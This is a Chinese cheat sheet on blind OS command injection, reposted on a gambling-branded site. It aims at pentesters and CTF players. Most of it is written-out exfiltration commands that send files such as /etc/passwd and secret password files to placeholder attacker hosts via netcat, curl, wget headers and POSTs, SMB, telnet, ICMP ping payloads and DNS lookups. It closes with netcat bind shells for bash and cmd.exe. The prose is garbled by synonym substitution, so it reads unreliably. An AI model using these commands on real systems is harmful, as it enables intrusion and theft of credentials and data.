Blind OS 敕令注入 备忘录 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Blind OS 敕令注入 备忘录

申博_安全预警 申博 231次浏览 已收录 0个评论

从零开始java代码审计系列(二)

Spring jndi注入 什么是JNDI JNDI的功能简单说就是可以简单的方式去查找某种资源。 JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层。比如在Tomcat中配置了一

媒介

在你做渗入测试或许CTF应战时,能够或许会遇到直接提取用户输入作为体系敕令实行或许鄙人层体系运转某些义务的运用。

若是(目的)没有考证用户的输入,那末运用极能够或许因此而遭到一种名为“操纵体系敕令注入”的进击。进击者极能够或许应用这点向运用输入一些包罗操纵体系敕令的内容,然后以目的体系的权限实行。Context如今侦测到大批的运用遭到这类进击,重要注进口为:

  • 支撑自定义地点的邮件发送运用。
  • 监控返回健康状况的企业效劳器运用。
  • 运用第三方对象,而且依靠用户输入而天生立即申报的运用。

关于CTFer或许渗入测试职员来讲,当他们发明这类破绽时,一般愿望在目的主机上搜寻到一些有价值的信息:

  • 操纵体系密钥文件
  • 操纵体系配置文件
  • 数据库文件
  • 运用源码

下图就是这么一个例子:我注入了一个Windows敕令’type’,该敕令被体系视为参数剖析,并实行读取包罗导弹发射密钥的文件:

Blind OS 敕令注入 备忘录

我们有须要“引爆”那些许可实行恣意敕令的操纵体系。设想一下,有一个体系安全运用,它会提取一个IP地点,然后经由过程’ping’该IP推断主机是不是存活。在操纵体系底层,用户的输入以以下情势运转:

ping –c 5 xxx.xxx.xxx.xxx

在该运用运转完预期的’ping’敕令后,如果我们还想做点其余,那末得注入一些敕令运算符以实如今目的主机上运转恣意体系敕令。下图细致引见了一些进击中能够或许用到的敕令运算符:

Blind OS 敕令注入 备忘录

在上面这个例子中,我们看到了运用的HTTP相应数据中返回了文件的内容。但是在敕令运转后,我们常常没法看到显性输出。这时候,Blind OS敕令注入涌现了。

那我们该怎样从目的主机提取到敏感信息?这篇文章将引见一些要领(无需上传web shell)。

NetCat

第一个要领是运用netcat。Netcat常被称为“瑞士军刀”,这个对象能够或许经由过程TCP或UDP收集读取和写入数据。若是目的体系存在netcat,你能够运用它开启监听器,然后将敕令输出效果转发到监听器上。

在你完成敕令后,你能够在目的效劳器上设置一个netcat监听器,然后将文件内容传输到上面。

nc –l –p {port} < {file/to/extract}

一旦当地主机能够或许与受益效劳器相连,我们就能够或许收到返回的数据。下图演示了我们怎样提掏出目的主机上/etc/passwd的内容:

Blind OS 敕令注入 备忘录

若是目的主机运转在windows上(存在netcat),能够运用下面如许的敕令:

type {file to extract}  | nc -L -p {port}

cURL

cURL是一个库和敕令对象,经由过程它能够运用种种协定传输数据。cURL是一个异常有用的提取数据的对象。若是目的效劳器上存在cURL,我们能够应用它传输文件到目的效劳器,或许运用种种协定提取数据,如FTP,SCP,TFTP,TELNET等。

确认目的主机存在体系敕令注入破绽后,运用HTTP协定POST一个文件的内容到当地效劳器:

cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

你能够在当地效劳器的日记文件中找到这些内容。若是在渗入测试中黑客做到了这一步,那末我发起网站效劳器应当运用SSL来珍爱客户的数据。下图要求的数据局部中显现了/etc/passwd的内容:

Blind OS 敕令注入 备忘录

在CURL中运用运用FTP也能够提取文件。确认目的主机存在体系敕令注入破绽后,运用-T标记来传输某个文件到FTP效劳器上:

curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}

下图显现了我运用FTP效劳盗取目的效劳器上的plans for world domination内容:

Blind OS 敕令注入 备忘录

我们已提过了cURL还能够运用其他的协定(SCP,TFTP和TELNET)来传输数据,要领迥然不同,这里我不再赘述。

WGET

Wget是一个下载对象,该对象更多用于非交互式下载;但是经由过程自定义标头和POST,这里仍存在一些标记能够从目的效劳器提取文件或数据。

WGET许可用户在向效劳器发送要求时照顾标头:

–header=’name:value’

而且用户能够自定义要求的标头,在标头中我们能够嵌入目的文件的目次地点。仅需将value的内容设置为我们想要检索的文件。

wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx

能够看到,我们在日记中发明了目的效劳器向我们发出要求,要求的’EVIL’标头中照顾了/data/secret/password.txt的内容:

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

Blind OS 敕令注入 备忘录

我们还能够运用一些小手法,用于封装输出凌驾一行的数据内容。下面显现了我是怎样提掏出/etc/passwd文件的内容。因为该文件不止一行,我运用了xargsecho来离隔新行。

wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx

Blind OS 敕令注入 备忘录

运用WGET也能够发出POST要求至当地效劳器,该要求的主体局部照顾我们所需的数据或文件。运用-post-data-post-file标记都能够猎取数据或文件。这两个标记内容花样以下:

‘key1=value1&key2=value2’.

提取文件内容:

wget –post-data exfil=`cat /data/secret/secretcode.txt` http://xxx.xxx.xxx.xxx:xxxx

Blind OS 敕令注入 备忘录

下面这条敕令展现怎样运用post-file敕令来检索属于目的效劳器的网页。关于渗入职员来讲,一般应用这一点来检察源代码从而进一步确认破绽;关于CTFer则是希冀从PHP代码中猎取谜底:

wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx

Blind OS 敕令注入 备忘录

SMB

若是目的效劳器运转在Windows情况上,那末我们能够在当地主机建立收集共享,然后受益者效劳器衔接至我们主机并复制文件,我们就能够或许提取到目的主机的文件。运用net敕令能够轻松完成:

net use h: \\xxx.xxx.xxx.xxx\web /user: {password} && copy {File to Copy} h:\{filename}.txt

Blind OS 敕令注入 备忘录

TELNET

若是长途效劳器存在telnet客户端,那末你能够在当地设置监听器,然后在长途效劳器上运用以下敕令来传输文件:

telnet xxx.xxx.xxx.xxx {port} < {file to transfer}

下图展现了怎样猎取/etc/passwd 的内容:

Blind OS 敕令注入 备忘录

ICMP

若是长途主机防护周密,而且没有netcat,wget和curl等对象,这里另有一些要领可供运用。实验使目的主机ping我们的效劳器,我们能够看到(假定ICPM许可经由过程防火墙)。若是能够,而且目的主机为Linux体系,我们能够在ICMP要求中提掏出数据。须要注重的是-p标记最大的值为16个添补字节。这是我们目的数据的存储地位。

文件的内容为16进制,我们须要在数据包中提取它:

cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done

Blind OS 敕令注入 备忘录

经由过程Wireshark,能够观察到照顾目的数据的数据包。你也能够编写脚正本提取数据包而且再次汇编为文章内容。

Blind OS 敕令注入 备忘录

Blind OS 敕令注入 备忘录

Blind OS 敕令注入 备忘录

DNS

这是一种类似于ping的要领,DNS也能够用于提取数据。此次我们将运用每一行数据作为DNS查询的主机名。经由过程监控我们效劳器的流量,能够拼凑出文件内容。下面我运用一个实例作为目的效劳器,敕令以下:

cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done

Blind OS 敕令注入 备忘录

和ping一样,你也能够编写脚正本抓取DNS数据包并猎取文件内容:

Blind OS 敕令注入 备忘录

小结

本文细致地引见了一些(体系注入)具有实际意义的进击操纵。比如说,你能够运用netcat猎取可衔接的shell:

nc -L -p 9090 -e cmd.exe (Windows)
nc -l -p 9090 -e /bin/bash (*nix)

你也能够应用一些剧本或对象如cURL, WGET, SMB等来完成进一步的进击。

愿望这篇文章能够为你接下来的渗入事情或许CTF应战供应一些参考。

从零开始java代码审计系列(二)

Spring jndi注入 什么是JNDI JNDI的功能简单说就是可以简单的方式去查找某种资源。 JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层。比如在Tomcat中配置了一


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Blind OS 敕令注入 备忘录
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址